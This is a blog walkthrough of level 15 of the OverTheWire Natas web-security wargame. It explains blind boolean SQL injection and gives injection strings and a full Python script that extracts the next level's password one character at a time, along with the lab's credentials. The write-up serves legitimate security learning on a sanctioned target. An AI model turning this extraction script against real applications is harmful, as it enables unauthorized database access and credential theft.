OverTheWire Natas Level 15 Walkthrough

This is a walkthrough for level 15 of OverTheWire’s Natas wargame.

As mentioned before, the Natas walkthroughs were done in batches (0-5 and 6-10) at the start, and then Natas walkthroughs from level 11 onward each get their own blog post due to the length of the blog posts.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 15 flag found in level 14 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 15 ➔ 16

First, let’s see what’s in store for us at http://natas15.natas.labs.overthewire.org/ (login with username natas15 and the password found in the last write-up).

If we take a look at the source code, we see that, similar to last time, our input is added into a SQL query:

Much like last time, this is done in an unsafe way (no escaping or filtering, meaning that we can use SQL injection against this host).

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";

To summarize the source code, it looks to see:

  • If username is included in the request
  • Connect to the database, and
  • SELECT all from table users where the username = user input
  • If the debug key exists on the request, show the query to the user
  • If the number of rows is greater than 0, say that the user exists.
  • Otherwise, say that the user doesn’t exist.

While we can inject our own input into the query (and thus do SQL injection), we’ve got a bit of a problem. There’s no place where the selected rows will be displayed to the user. The output is either “yes the user exists” or “no they don’t”.

Blind SQL injection

Enter “Blind SQL injection”. Here’s OWASP’s definition:

Blind SQL injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

Sound familiar? This seems to match our situation, so how do we make use of it?

The boolean condition we have is either:

  • True: “This user exists.”
  • False: “This user doesn’t exist.”

I’ve used this in CTFs before (albeit with a different type of injection vulnerability), so I had a script to start with.

Proving out the char matching

My assumption is that we’re looking for the natas16 password, and that there will also be a natas16 user to match (given the SQL table structure provided in the source code and also the pattern from past levels).

Before getting to the password, I wanted to test out that my script worked on a (sort-of) known value: the username.

My first query will be:

" OR substring(username,1,1) = 'n' --

This checks to see if the substring of username starting at the first character and extending one character in length is equal to ‘n’.

This creates a total query of:

"SELECT * from users where username="" OR substring(username,1,1) = 'n' --

Which is equivalent to “select all from users where the username is an empty string, or where the first character equals ‘n'”.

Of course, we could just search for a username equal to natas16 without the SQL injection, but this is meant to test the substring() call.

I tested this using the web page (no Burp Suite or script yet). The response was “This user exists.” If you get a query error, make sure you have included the space after the --.

If I change the ‘n’ to something that is definitely not correct (such as more than one character), it says “This user doesn’t exist.” Awesome, we’ve got our boolean substring matching started!

While messing around at this point, I also tried a comparison with a and found that that was a match. This means there are other users in the database besides natas16, so we’ll need to keep that in mind later.

Extending the substring matching

When we eventually get to the password checking part, we’ll want to either check progressively longer strings (and build on known good values), or check each subsequent char individually.

I opted for the former but either strategy should work.

I wanted to check if substring(username,1,7) was equal to natas16. The substring() will take the username variable and return the substring starting at the first letter and extending 7 characters out.

In the form of our SQL injection input, we need to send:

" OR substring(username,1,7) = 'natas16' --

Again, don’t forget the space at the end. In Burp Suite, this looks like:

You can also add ?debug to the query using Burp Suite to see the query print out, as shown above.

Starter Script

We can take the experiment done above and put it in script form as follows:

import requests
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

u="http://natas15.natas.labs.overthewire.org/index.php?debug"

payload = "username=\" OR substring(username,1,7) = 'natas16' -- "

response = requests.post(u, data=payload, headers=headers, auth=basicAuth, verify=False)

if 'This user exists.' in response.text:
    print("Query worked")
blind-sql.py

This uses the Python requests library, with basic auth and content-type headers. We need to add username= at the start of our query to match what the server does for us, then make a POST request. If “This user exists” is in the response text, then we know the query worked. To run this, open up a terminal window and run:

python blind-sql.py

Brute forcing the password

Now that we have a working script and have proven out the substring method, we can switch it over to test out each password character.

First, we need a list of valid characters to try. This is A-Z, a-z, and 0-9, assuming this password matches the style of previous passwords. We can create this list using the string library:

import string
VALID_CHARS = string.digits + string.ascii_letters

Again, assuming that we’re following the pattern of past levels, the password length will be 32 characters long:

PASSWORD_LENGTH = 32

We also need a variable to store the password as we brute force it, and a method of counting which character we’re at. Since substring() starts at 1 instead of 0, we’ll start count at 1.

password="" # start with blank password count = 1

Updated query

If we swap out username for password in our previous SQL query, we get:

"username=\" OR substring(password,1,count) = 'c' -- "

Where c is the character we’re testing.

Because we know there are other usernames in the database, we’ll need to restrict our query to only match username = natas16, AND the password we’re testing:

"username=natas16\" AND substring(password,1,count) = 'c' -- "

Since c and count will be variables, we’ll need to concatenate the entire query together within our Python script. That looks like:

payload="username=natas16" + \
	"\" AND " + \
        "substring(password,1," + str(count) + ")" + \
        " = '" + password + c + "'" + \
        " -- "

Breaking it out into different lines helps me debug more quickly. The last addition in the query above is password being added in before c. This is because, as we match a character, we’ll add it to the password, so password + c will be the known password plus the character under test.

Case sensitivity

As it turns out, using substring() by itself is case insensitive. This might have some kind of performance benefit for database usage, but it was annoying to debug.

To get the case-sensitive password, we need to add BINARY in front of substring(). Altogether, that looks like:

payload="username=natas16" + \
	"\" AND " + \
    	"BINARY substring(password,1," + str(count) + ")" + \
    	" = '" + password + c + "'" + \
    	" -- "

Looping Through

The final piece of our script is a loop that iterates through each of the valid chars and assigns that value to c before doing a POST request.

The total script looks like:

import requests
import string
from requests.auth import HTTPBasicAuth

basicAuth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

u="http://natas15.natas.labs.overthewire.org/index.php?debug"

password="" # start with blank password
count = 1   # substr() length argument starts at 1
PASSWORD_LENGTH = 32  # previous passwords were 32 chars long
VALID_CHARS = string.digits + string.ascii_letters

while count <= PASSWORD_LENGTH + 1:
    for c in VALID_CHARS:
        payload="username=natas16" + \
                "\" AND " + \
                "BINARY substring(password,1," + str(count) + ")" + \
                " = '" + password + c + "'" + \
                " -- "

        # print(payload)

        response = requests.post(u, data=payload, headers=headers, auth=basicAuth, verify=False)

        if 'This user exists.' in response.text:
            print("Found one more char : %s" % (password+c))
            password += c
            count = count + 1

print("Done!")
Completed blind-sql.py script

Natas Level 16 Solution

Now that we have the entire script, we can run it using the command python blind-sql.py

The script will iterate the characters and print out an update each time there is another match.

If you want to see more information you can un-comment print(payload). There are faster ways to do this but it works, and we get our password of WaIHEacj63wnNIBROHeqi3p9t0m5nhmh.

Takeaways: just because database output isn’t shown doesn’t mean there isn’t a vulnerability. Try blind SQL injection if you are limited to boolean output.